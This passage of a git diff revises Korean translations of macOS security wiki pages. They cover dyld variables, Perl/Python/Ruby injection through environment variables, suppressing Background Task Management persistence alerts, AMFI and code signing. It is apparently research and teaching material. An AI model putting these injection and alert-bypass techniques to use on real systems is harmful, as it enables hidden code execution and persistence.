-- `DYLD_PRINT_CODE_SIGNATURES`: 코드 서명 등록 작업 인쇄 -- `DYLD_PRINT_DOFS`: 로드된 D-Trace 객체 형식 섹션 인쇄 -- `DYLD_PRINT_ENV`: dyld가 보는 환경 인쇄 -- `DYLD_PRINT_INTERPOSTING`: 인터포스팅 작업 인쇄 -- `DYLD_PRINT_LIBRARIES`: 로드된 라이브러리 인쇄 -- `DYLD_PRINT_OPTS`: 로드 옵션 인쇄 -- `DYLD_REBASING`: 기호 재배치 작업 인쇄 -- `DYLD_RPATHS`: @rpath의 확장 인쇄 -- `DYLD_PRINT_SEGMENTS`: Mach-O 세그먼트의 매핑 인쇄 -- `DYLD_PRINT_STATISTICS`: 타이밍 통계 인쇄 -- `DYLD_PRINT_STATISTICS_DETAILS`: 상세 타이밍 통계 인쇄 -- `DYLD_PRINT_WARNINGS`: 경고 메시지 인쇄 -- `DYLD_SHARED_CACHE_DIR`: 공유 라이브러리 캐시를 위한 경로 -- `DYLD_SHARED_REGION`: "사용", "개인", "회피" -- `DYLD_USE_CLOSURES`: 클로저 활성화 +- `DYLD_INSERT_LIBRARIES`: 특정 라이브러리를 로드합니다. +- `DYLD_PRINT_TO_FILE`: dyld 디버그를 파일에 기록합니다. +- `DYLD_PRINT_APIS`: libdyld API 호출을 출력합니다. +- `DYLD_PRINT_APIS_APP`: main에 의해 호출된 libdyld API 호출을 출력합니다. +- `DYLD_PRINT_BINDINGS`: 바인딩될 때 기호를 출력합니다. +- `DYLD_WEAK_BINDINGS`: 바인딩될 때 약한 기호만 출력합니다. +- `DYLD_PRINT_CODE_SIGNATURES`: 코드 서명 등록 작업을 출력합니다. +- `DYLD_PRINT_DOFS`: 로드된 D-Trace 객체 형식 섹션을 출력합니다. +- `DYLD_PRINT_ENV`: dyld가 보는 환경을 출력합니다. +- `DYLD_PRINT_INTERPOSTING`: 인터포스팅 작업을 출력합니다. +- `DYLD_PRINT_LIBRARIES`: 로드된 라이브러리를 출력합니다. +- `DYLD_PRINT_OPTS`: 로드 옵션을 출력합니다. +- `DYLD_REBASING`: 기호 재배치 작업을 출력합니다. +- `DYLD_RPATHS`: @rpath의 확장을 출력합니다. +- `DYLD_PRINT_SEGMENTS`: Mach-O 세그먼트의 매핑을 출력합니다. +- `DYLD_PRINT_STATISTICS`: 타이밍 통계를 출력합니다. +- `DYLD_PRINT_STATISTICS_DETAILS`: 상세 타이밍 통계를 출력합니다. +- `DYLD_PRINT_WARNINGS`: 경고 메시지를 출력합니다. +- `DYLD_SHARED_CACHE_DIR`: 공유 라이브러리 캐시에 사용할 경로 +- `DYLD_SHARED_REGION`: "use", "private", "avoid" +- `DYLD_USE_CLOSURES`: 클로저를 활성화합니다. 더 많은 정보를 찾으려면 다음과 같은 방법을 사용할 수 있습니다: ```bash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md index a7f430a85..d8aea0d41 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md @@ -5,7 +5,7 @@ ## `PERL5OPT` 및 `PERL5LIB` 환경 변수를 통한 방법 환경 변수 PERL5OPT를 사용하면 perl이 임의의 명령을 실행하도록 할 수 있습니다.\ -예를 들어, 이 스크립트를 생성합니다: +예를 들어, 이 스크립트를 생성하십시오: ```perl:test.pl #!/usr/bin/perl print "Hello from the Perl script!\n"; @@ -28,7 +28,7 @@ PERL5LIB=/tmp/ PERL5OPT=-Mpmod ``` ## Via dependencies -Perl 실행의 의존성 폴더 순서를 나열할 수 있습니다: +Perl 실행의 의존성 폴더 순서를 나열하는 것이 가능합니다: ```bash perl -e 'print join("\n", @INC)' ``` @@ -44,7 +44,7 @@ perl -e 'print join("\n", @INC)' /System/Library/Perl/Extras/5.30/darwin-thread-multi-2level /System/Library/Perl/Extras/5.30 ``` -반환된 폴더 중 일부는 존재하지 않지만, **`/Library/Perl/5.30`**는 **존재**하며, **SIP**에 의해 **보호되지** 않고 **SIP**에 의해 **보호되는** 폴더보다 **앞에** 있습니다. 따라서 누군가 그 폴더를 악용하여 스크립트 종속성을 추가할 수 있으며, 그러면 높은 권한의 Perl 스크립트가 이를 로드할 것입니다. +반환된 폴더 중 일부는 존재하지 않지만, **`/Library/Perl/5.30`**는 **존재**하며, **SIP**에 의해 **보호되지** 않고 **SIP**에 의해 보호되는 폴더 **앞**에 있습니다. 따라서 누군가 그 폴더를 악용하여 스크립트 종속성을 추가할 수 있으며, 높은 권한의 Perl 스크립트가 이를 로드할 것입니다. > [!WARNING] > 그러나, 그 폴더에 쓰기 위해서는 **root 권한이 필요**하며, 요즘에는 이 **TCC 프롬프트**가 표시됩니다: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md index 42711766f..c2e2f20cd 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md @@ -4,7 +4,7 @@ ## `PYTHONWARNINGS` 및 `BROWSER` 환경 변수를 통한 방법 -python이 호출될 때마다 임의의 코드를 실행하기 위해 두 환경 변수를 모두 변경하는 것이 가능합니다. 예를 들어: +두 환경 변수를 변경하여 python이 호출될 때마다 임의의 코드를 실행할 수 있습니다. 예를 들어: ```bash # Generate example python script echo "print('hi')" > /tmp/script.py diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md index 93084f531..b90ece03a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md @@ -4,7 +4,7 @@ ## RUBYOPT -이 환경 변수를 사용하면 **ruby**가 실행될 때 **새로운 매개변수**를 **추가**할 수 있습니다. 매개변수 **`-e`**는 실행할 ruby 코드를 지정하는 데 사용할 수 없지만, 매개변수 **`-I`**와 **`-r`**를 사용하여 로드 경로에 새 폴더를 추가한 다음 **로드할 라이브러리**를 **지정**할 수 있습니다. +이 환경 변수를 사용하면 **ruby**가 실행될 때 **새로운 매개변수**를 **추가**할 수 있습니다. 매개변수 **`-e`**는 실행할 ruby 코드를 지정하는 데 사용할 수 없지만, 매개변수 **`-I`**와 **`-r`**를 사용하여 로드 경로에 새 폴더를 추가한 다음 **로드할 라이브러리**를 지정할 수 있습니다. 라이브러리 **`inject.rb`**를 **`/tmp`**에 생성합니다: ```ruby:inject.rb diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md index e97e6e691..4681d6978 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md @@ -40,7 +40,7 @@ macos-tcc/ ### 실행/환경 제약 및 신뢰 캐시 -macOS의 실행 제약은 **프로세스 시작을 규제**하는 보안 기능으로, **누가** 프로세스를 시작할 수 있는지, **어떻게**, **어디서** 시작할 수 있는지를 정의합니다. macOS Ventura에서 도입된 이 기능은 시스템 바이너리를 제약 카테고리로 분류하여 **신뢰 캐시** 내에 저장합니다. 모든 실행 가능한 바이너리는 **자기**, **부모**, **책임** 제약을 포함한 **시작**에 대한 **규칙**이 설정되어 있습니다. macOS Sonoma에서 **환경** 제약으로 제3자 앱에 확장되어, 이러한 기능은 프로세스 시작 조건을 규제하여 잠재적인 시스템 악용을 완화하는 데 도움이 됩니다. +macOS의 실행 제약은 **프로세스 시작을 규제**하는 보안 기능으로, **누가** 프로세스를 시작할 수 있는지, **어떻게**, **어디서** 시작할 수 있는지를 정의합니다. macOS Ventura에서 도입된 이 기능은 시스템 바이너리를 신뢰 캐시 내의 제약 카테고리로 분류합니다. 모든 실행 가능한 바이너리는 **자기**, **부모**, **책임** 제약을 포함한 **시작**에 대한 **규칙**이 설정되어 있습니다. macOS Sonoma에서 **환경** 제약으로 제3자 앱에 확장되어, 이러한 기능은 프로세스 시작 조건을 규제하여 잠재적인 시스템 악용을 완화하는 데 도움이 됩니다. {{#ref}} macos-launch-environment-constraints.md @@ -67,9 +67,9 @@ MRT 애플리케이션은 **`/Library/Apple/System/Library/CoreServices/MRT.app` 이는 `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd`에 위치한 **데몬**과 `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`에 위치한 **에이전트**와 함께 실행됩니다. -**`backgroundtaskmanagementd`**가 지속적인 폴더에 설치된 무언가를 아는 방법은 **FSEvents를 가져오고** 이를 위한 **핸들러**를 생성하는 것입니다. +**`backgroundtaskmanagementd`**가 지속적인 폴더에 설치된 것을 아는 방법은 **FSEvents를 가져오고** 이를 위한 **핸들러**를 생성하는 것입니다. -또한, 애플이 유지 관리하는 **잘 알려진 애플리케이션**이 포함된 plist 파일이 있으며, 이는 `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`에 위치합니다. +또한, 애플이 관리하는 **잘 알려진 애플리케이션**이 포함된 plist 파일이 있으며, 이는 `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`에 위치합니다. ```json [...] "us.zoom.ZoomDaemon" => { @@ -103,7 +103,7 @@ xattr -rc dumpBTM # Remove quarantine attr ### BTM 조작하기 -새로운 지속성이 발견되면 **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** 유형의 이벤트가 발생합니다. 따라서, 이 **이벤트**가 전송되는 것을 **방지**하거나 **에이전트가 사용자에게 경고하는 것을 방지**하는 방법은 공격자가 BTM을 _**우회**_하는 데 도움이 됩니다. +새로운 지속성이 발견되면 **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** 유형의 이벤트가 발생합니다. 따라서 이 **이벤트**가 전송되는 것을 **방지**하거나 **사용자에게 경고하는 에이전트**를 방지하는 방법은 공격자가 BTM을 _**우회**_하는 데 도움이 됩니다. - **데이터베이스 재설정**: 다음 명령을 실행하면 데이터베이스가 재설정됩니다(기초부터 다시 구축해야 함). 그러나 어떤 이유로 인해, 이를 실행한 후에는 **시스템이 재부팅될 때까지 새로운 지속성이 경고되지 않습니다**. - **root** 권한이 필요합니다. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md index 5b856d500..0dce95c77 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md @@ -16,7 +16,7 @@ AMFI는 **MACF** 정책을 사용하며 시작되는 순간 후크를 등록합 - `amfi_prevent_old_entitled_platform_binaries`: 권한이 있는 플랫폼 바이너리 무효화 - `amfi_get_out_of_my_way`: amfi를 완전히 비활성화 -다음은 등록되는 MACF 정책 중 일부입니다: +다음은 등록하는 MACF 정책 중 일부입니다: - **`cred_check_label_update_execve:`** 레이블 업데이트가 수행되며 1을 반환 - **`cred_label_associate`**: AMFI의 mac 레이블 슬롯을 레이블로 업데이트 @@ -26,12 +26,12 @@ AMFI는 **MACF** 정책을 사용하며 시작되는 순간 후크를 등록합 - **`file_check_mmap`:** mmap이 메모리를 획득하고 이를 실행 가능으로 설정하는지 확인합니다. 이 경우 라이브러리 검증이 필요한지 확인하고, 필요하다면 라이브러리 검증 함수를 호출합니다. - **`file_check_library_validation`**: 라이브러리 검증 함수를 호출하여 플랫폼 바이너리가 다른 플랫폼 바이너리를 로드하는지 또는 프로세스와 새로 로드된 파일이 동일한 TeamID를 가지고 있는지 확인합니다. 특정 권한은 모든 라이브러리를 로드할 수 있도록 허용합니다. - **`policy_initbsd`**: 신뢰할 수 있는 NVRAM 키 설정 -- **`policy_syscall`**: 바이너리에 제한 없는 세그먼트가 있는지, 환경 변수를 허용해야 하는지와 같은 DYLD 정책을 확인합니다... 이는 `amfi_check_dyld_policy_self()`를 통해 프로세스가 시작될 때도 호출됩니다. -- **`proc_check_inherit_ipc_ports`**: 프로세스가 새 바이너리를 실행할 때 다른 프로세스가 프로세스의 작업 포트에 대한 SEND 권한을 유지해야 하는지 확인합니다. 플랫폼 바이너리는 허용되며, `get-task-allow` 권한이 이를 허용하고, `task_for_pid-allow` 권한이 허용되며 동일한 TeamID를 가진 바이너리도 허용됩니다. +- **`policy_syscall`**: 바이너리에 제한 없는 세그먼트가 있는지, env 변수를 허용해야 하는지와 같은 DYLD 정책을 확인합니다... 이는 `amfi_check_dyld_policy_self()`를 통해 프로세스가 시작될 때도 호출됩니다. +- **`proc_check_inherit_ipc_ports`**: 프로세스가 새 바이너리를 실행할 때 다른 프로세스가 프로세스의 작업 포트에 대한 SEND 권한을 유지해야 하는지 확인합니다. 플랫폼 바이너리는 허용되며, `get-task-allow` 권한이 이를 허용하고, `task_for_pid-allow` 권한이 허용되며, 동일한 TeamID를 가진 바이너리도 허용됩니다. - **`proc_check_expose_task`**: 권한 집행 - **`amfi_exc_action_check_exception_send`**: 예외 메시지가 디버거에 전송됩니다. -- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: 예외 처리(디버깅) 중 레이블 생명주기 -- **`proc_check_get_task`**: `get-task-allow`와 같은 권한을 확인하여 다른 프로세스가 작업 포트를 가져오고 `task_for_pid-allow`가 프로세스가 다른 프로세스의 작업 포트를 가져올 수 있도록 허용하는지 확인합니다. 둘 다 해당되지 않으면 `amfid permitunrestricteddebugging`를 호출하여 허용되는지 확인합니다. +- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: 예외 처리(디버깅) 중 레이블 생명 주기 +- **`proc_check_get_task`**: `get-task-allow`와 같은 권한을 확인하여 다른 프로세스가 작업 포트를 얻을 수 있도록 하고, `task_for_pid-allow`는 프로세스가 다른 프로세스의 작업 포트를 얻을 수 있도록 허용합니다. 둘 다 해당되지 않으면 `amfid permitunrestricteddebugging`를 호출하여 허용되는지 확인합니다. - **`proc_check_mprotect`**: `mprotect`가 `VM_PROT_TRUSTED` 플래그와 함께 호출되면 거부합니다. 이는 해당 영역이 유효한 코드 서명이 있는 것처럼 처리되어야 함을 나타냅니다. - **`vnode_check_exec`**: 실행 파일이 메모리에 로드될 때 호출되며, `cs_hard | cs_kill`을 설정하여 페이지가 무효화되면 프로세스를 종료합니다. - **`vnode_check_getextattr`**: MacOS: `com.apple.root.installed` 및 `isVnodeQuarantined()` 확인 @@ -70,7 +70,7 @@ No variant specified, falling back to release macOS에서는 루트 프로세스가 특별한 포트를 가로채는 것이 더 이상 불가능하다는 점에 유의해야 합니다. 이는 `SIP`에 의해 보호되며 오직 launchd만이 이를 얻을 수 있습니다. iOS에서는 응답을 다시 보내는 프로세스가 `amfid`의 CDHash가 하드코딩되어 있는지 확인합니다. -`amfid`가 이진 파일을 확인하도록 요청받을 때와 그 응답을 디버깅하고 `mach_msg`에 중단점을 설정하여 볼 수 있습니다. +`amfid`가 이진 파일을 확인하도록 요청될 때와 그 응답을 디버깅하고 `mach_msg`에 중단점을 설정하여 볼 수 있습니다. 특별한 포트를 통해 메시지가 수신되면 **MIG**가 호출하는 각 함수에 각 함수를 보내는 데 사용됩니다. 주요 함수는 리버스 엔지니어링되어 책 안에서 설명되었습니다. @@ -100,13 +100,13 @@ security cms -D -i /path/to/profile - **Name**: 애플리케이션 이름, AppIDName과 동일 - **ProvisionedDevices**: 이 프로파일이 유효한 UDID의 배열 (개발자 인증서용) - **ProvisionsAllDevices**: 부울 값 (기업 인증서의 경우 true) -- **TeamIdentifier**: 상호 앱 상호작용 목적을 위해 개발자를 식별하는 데 사용되는 (보통 하나의) 알파벳 숫자 문자열 배열 +- **TeamIdentifier**: 상호 애플리케이션 상호작용 목적을 위해 개발자를 식별하는 데 사용되는 (보통 하나의) 알파벳 숫자 문자열 배열 - **TeamName**: 개발자를 식별하는 데 사용되는 사람이 읽을 수 있는 이름 -- **TimeToLive**: 인증서의 유효성 (일 단위) +- **TimeToLive**: 인증서의 유효 기간 (일 단위) - **UUID**: 이 프로파일의 범용 고유 식별자 - **Version**: 현재 1로 설정됨 -권한 항목은 제한된 권한 집합을 포함하며, 프로비저닝 프로파일은 Apple의 개인 권한을 부여하지 않도록 특정 권한만 부여할 수 있습니다. +권한 항목은 제한된 권한 집합을 포함하며, 프로비저닝 프로파일은 Apple의 개인 권한을 부여하지 않도록 이러한 특정 권한만 부여할 수 있습니다. 프로파일은 일반적으로 `/var/MobileDeviceProvisioningProfiles`에 위치하며, **`security cms -D -i /path/to/profile`** 명령어로 확인할 수 있습니다. @@ -118,7 +118,7 @@ macOS에서는 `MobileDevice.framework` 내부에 있습니다. ## AMFI 신뢰 캐시 -iOS AMFI는 **신뢰 캐시**라고 불리는 알려진 해시 목록을 유지하며, 이는 kext의 `__TEXT.__const` 섹션에 서명됩니다. 매우 특정하고 민감한 작업에서는 외부 파일로 이 신뢰 캐시를 확장할 수 있습니다. +iOS AMFI는 **신뢰 캐시**라고 불리는 알려진 해시 목록을 유지하며, 이는 임의로 서명됩니다. 이 목록은 kext의 `__TEXT.__const` 섹션에 있습니다. 매우 특정하고 민감한 작업에서는 외부 파일로 이 신뢰 캐시를 확장할 수 있습니다. ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md index 697d5fe07..eb59053d6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md @@ -14,9 +14,9 @@ - **name**: 권한 시스템 내에서 규칙을 식별하고 참조하는 데 사용되는 고유한 규칙 이름입니다. - **type**: 규칙의 유형을 지정하며, 권한 논리를 정의하기 위해 1 또는 2의 값으로 제한됩니다. - **class**: 규칙을 특정 클래스에 분류하며, 양의 정수여야 합니다. -- "allow"는 허용을, "deny"는 거부를, "user"는 그룹 속성이 접근을 허용하는 그룹을 나타내는 경우, "rule"은 충족해야 할 규칙을 배열로 나타내며, "evaluate-mechanisms"는 `mechanisms` 배열을 따르며, 이는 내장형이거나 `/System/Library/CoreServices/SecurityAgentPlugins/` 또는 /Library/Security//SecurityAgentPlugins 내의 번들 이름입니다. +- "allow"는 허용을 의미하고, "deny"는 거부를 의미하며, "user"는 그룹 속성이 접근을 허용하는 그룹을 나타내는 경우, "rule"은 충족해야 할 규칙을 배열로 나타내며, "evaluate-mechanisms"는 `mechanisms` 배열을 따르며, 이는 내장형이거나 `/System/Library/CoreServices/SecurityAgentPlugins/` 또는 /Library/Security//SecurityAgentPlugins 내의 번들 이름입니다. - **group**: 그룹 기반 권한 부여를 위한 규칙과 관련된 사용자 그룹을 나타냅니다. -- **kofn**: "k-of-n" 매개변수를 나타내며, 총 수 중에서 얼마나 많은 하위 규칙이 충족되어야 하는지를 결정합니다. +- **kofn**: "k-of-n" 매개변수를 나타내며, 총 수에서 얼마나 많은 하위 규칙이 충족되어야 하는지를 결정합니다. - **timeout**: 규칙에 의해 부여된 권한이 만료되기 전의 지속 시간을 초 단위로 정의합니다. - **flags**: 규칙의 동작 및 특성을 수정하는 다양한 플래그를 포함합니다. - **tries**: 보안을 강화하기 위해 허용된 권한 시도 횟수를 제한합니다. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md index 3483b5309..18c801261 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md @@ -4,7 +4,7 @@ ## 기본 정보 -Mach-o 바이너리는 바이너리 내부의 서명의 **오프셋**과 **크기**를 나타내는 **`LC_CODE_SIGNATURE`**라는 로드 명령을 포함합니다. 실제로 GUI 도구인 MachOView를 사용하면 바이너리의 끝에서 이 정보를 포함하는 **Code Signature**라는 섹션을 찾을 수 있습니다: +Mach-o 바이너리는 바이너리 내부의 서명의 **오프셋**과 **크기**를 나타내는 **`LC_CODE_SIGNATURE`**라는 로드 명령을 포함합니다. 실제로 GUI 도구인 MachOView를 사용하면 바이너리의 끝에서 이 정보를 포함하는 **코드 서명**이라는 섹션을 찾을 수 있습니다:
@@ -103,10 +103,10 @@ __attribute__ ((aligned(1))); ``` 다양한 버전의 이 구조체가 있으며, 이전 버전은 정보가 적을 수 있습니다. -## 코드 서명 페이지 +## 서명 코드 페이지 전체 바이너리를 해싱하는 것은 비효율적이며, 메모리에 부분적으로만 로드될 경우에는 심지어 쓸모가 없습니다. 따라서 코드 서명은 실제로 각 바이너리 페이지가 개별적으로 해싱된 해시의 해시입니다.\ -실제로 이전 **코드 디렉토리** 코드에서 **페이지 크기가 지정되어** 있는 것을 볼 수 있습니다. 또한, 바이너리의 크기가 페이지 크기의 배수가 아닌 경우, 필드 **CodeLimit**는 서명의 끝이 어디인지 지정합니다. +실제로 이전 **Code Directory** 코드에서 **페이지 크기가 지정되어** 있는 것을 볼 수 있습니다. 게다가, 바이너리의 크기가 페이지 크기의 배수가 아닐 경우, 필드 **CodeLimit**는 서명의 끝이 어디인지 지정합니다. ```bash # Get all hashes of /bin/ps codesign -d -vvvvvv /bin/ps @@ -211,7 +211,7 @@ Note that the function [**exec_mach_imgact**](https://github.com/apple-oss-distr ## 코드 서명 요구 사항 -각 애플리케이션은 실행될 수 있도록 **충족해야 하는** **요구 사항**을 저장합니다. **애플리케이션이 충족하지 않는 요구 사항을 포함하는 경우**, 애플리케이션은 실행되지 않습니다(변경되었을 가능성이 높기 때문입니다). +각 애플리케이션은 실행될 수 있도록 **충족해야 하는** **요구 사항**을 저장합니다. **애플리케이션이 충족하지 않는 요구 사항을 포함하고 있다면**, 실행되지 않습니다(변경되었을 가능성이 높기 때문입니다). 바이너리의 요구 사항은 **특별한 문법**을 사용하며, 이는 **표현식**의 흐름으로 `0xfade0c00`을 매직으로 사용하여 블롭으로 인코딩됩니다. 이 **해시는 특별한 코드 슬롯에 저장됩니다**. @@ -226,9 +226,9 @@ Executable=/Applications/Signal.app/Contents/MacOS/Signal designated => identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR ``` > [!NOTE] -> 이 서명이 인증 정보, TeamID, ID, 권한 및 기타 많은 데이터를 확인할 수 있는 방법에 주목하세요. +> 이 서명이 인증 정보, TeamID, ID, 권한 및 기타 많은 데이터를 확인할 수 있는 방법에 유의하십시오. -또한, `csreq` 도구를 사용하여 일부 컴파일된 요구 사항을 생성하는 것이 가능합니다: +또한, `csreq` 도구를 사용하여 일부 컴파일된 요구 사항을 생성할 수 있습니다: ```bash # Generate compiled requirements csreq -b /tmp/output.csreq -r='identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR' @@ -240,8 +240,6 @@ od -A x -t x1 /tmp/output.csreq 0000020 00 00 00 21 6f 72 67 2e 77 68 69 73 70 65 72 73 [...] ``` -It's possible to access this information and create or modify requirements with some APIs from the `Security.framework` like: - #### **유효성 검사** - **`Sec[Static]CodeCheckValidity`**: 요구 사항에 따라 SecCodeRef의 유효성을 검사합니다. @@ -263,7 +261,7 @@ It's possible to access this information and create or modify requirements with #### **코드 요구 사항 수정** - **`SecCodeSignerCreate`**: 코드 서명 작업을 수행하기 위한 `SecCodeSignerRef` 객체를 생성합니다. -- **`SecCodeSignerSetRequirement`**: 서명 중에 적용할 코드 서명자에 대한 새로운 요구 사항을 설정합니다. +- **`SecCodeSignerSetRequirement`**: 서명 중에 적용할 새로운 요구 사항을 설정합니다. - **`SecCodeSignerAddSignature`**: 지정된 서명자로 서명되는 코드에 서명을 추가합니다. #### **요구 사항으로 코드 검증** @@ -272,11 +270,11 @@ It's possible to access this information and create or modify requirements with #### **추가 유용한 API** -- **`SecCodeCopy[Internal/Designated]Requirement`: SecCodeRef에서 SecRequirementRef 가져오기** +- **`SecCodeCopy[Internal/Designated]Requirement`: SecCodeRef에서 SecRequirementRef를 가져옵니다.** - **`SecCodeCopyGuestWithAttributes`**: 특정 속성을 기반으로 하는 코드 객체를 나타내는 `SecCodeRef`를 생성하며, 샌드박싱에 유용합니다. - **`SecCodeCopyPath`**: `SecCodeRef`와 관련된 파일 시스템 경로를 검색합니다. - **`SecCodeCopySigningIdentifier`**: `SecCodeRef`에서 서명 식별자(예: 팀 ID)를 얻습니다. -- **`SecCodeGetTypeID`**: `SecCodeRef` 객체에 대한 유형 식별자를 반환합니다. +- **`SecCodeGetTypeID`**: `SecCodeRef` 객체의 유형 식별자를 반환합니다. - **`SecRequirementGetTypeID`**: `SecRequirementRef`의 CFTypeID를 가져옵니다. #### **코드 서명 플래그 및 상수** diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md index a3f205ab5..3bd2ad1d1 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -17,23 +17,23 @@ ### **`com.apple.system-task-ports` (이전 이름: `task_for_pid-allow`)** -이 권한은 **커널을 제외한 모든** 프로세스의 **작업 포트**를 얻을 수 있게 해줍니다. [**자세한 내용은 여기**](../macos-proces-abuse/macos-ipc-inter-process-communication/)를 확인하세요. +이 권한은 **커널을 제외한 모든** 프로세스의 **작업 포트**를 가져올 수 있게 해줍니다. [**자세한 내용은 여기**](../macos-proces-abuse/macos-ipc-inter-process-communication/)를 확인하세요. ### `com.apple.security.get-task-allow` -이 권한은 **`com.apple.security.cs.debugger`** 권한을 가진 다른 프로세스가 이 권한을 가진 바이너리에서 실행되는 프로세스의 작업 포트를 얻고 **코드를 주입**할 수 있게 해줍니다. [**자세한 내용은 여기**](../macos-proces-abuse/macos-ipc-inter-process-communication/)를 확인하세요. +이 권한은 **`com.apple.security.cs.debugger`** 권한을 가진 다른 프로세스가 이 권한을 가진 바이너리에서 실행되는 프로세스의 작업 포트를 가져오고 **코드를 주입**할 수 있게 해줍니다. [**자세한 내용은 여기**](../macos-proces-abuse/macos-ipc-inter-process-communication/)를 확인하세요. ### `com.apple.security.cs.debugger` -디버깅 도구 권한을 가진 앱은 `task_for_pid()`를 호출하여 서명되지 않은 제3자 앱의 유효한 작업 포트를 검색할 수 있습니다. 그러나 디버깅 도구 권한이 있더라도, 디버거는 **`Get Task Allow` 권한이 없는** 프로세스의 작업 포트를 **얻을 수 없습니다**, 따라서 시스템 무결성 보호에 의해 보호됩니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)를 확인하세요. +디버깅 도구 권한을 가진 앱은 `task_for_pid()`를 호출하여 서명되지 않은 제3자 앱의 유효한 작업 포트를 가져올 수 있습니다. 그러나 디버깅 도구 권한이 있더라도, 디버거는 **`Get Task Allow` 권한이 없는** 프로세스의 작업 포트를 **가져올 수 없습니다**, 따라서 시스템 무결성 보호에 의해 보호됩니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)를 확인하세요. ### `com.apple.security.cs.disable-library-validation` -이 권한은 **Apple에 의해 서명되지 않거나 메인 실행 파일과 동일한 팀 ID로 서명되지 않은 프레임워크, 플러그인 또는 라이브러리를 로드**할 수 있게 해줍니다. 따라서 공격자는 임의의 라이브러리 로드를 악용하여 코드를 주입할 수 있습니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)를 확인하세요. +이 권한은 **Apple에 의해 서명되지 않거나** 메인 실행 파일과 동일한 팀 ID로 서명되지 않은 프레임워크, 플러그인 또는 라이브러리를 **로드**할 수 있게 해줍니다. 따라서 공격자는 임의의 라이브러리 로드를 악용하여 코드를 주입할 수 있습니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)를 확인하세요. ### `com.apple.private.security.clear-library-validation` -이 권한은 **`com.apple.security.cs.disable-library-validation`**와 매우 유사하지만, **직접적으로** 라이브러리 검증을 **비활성화하는 대신**, 프로세스가 **`csops` 시스템 호출을 호출하여 이를 비활성화**할 수 있게 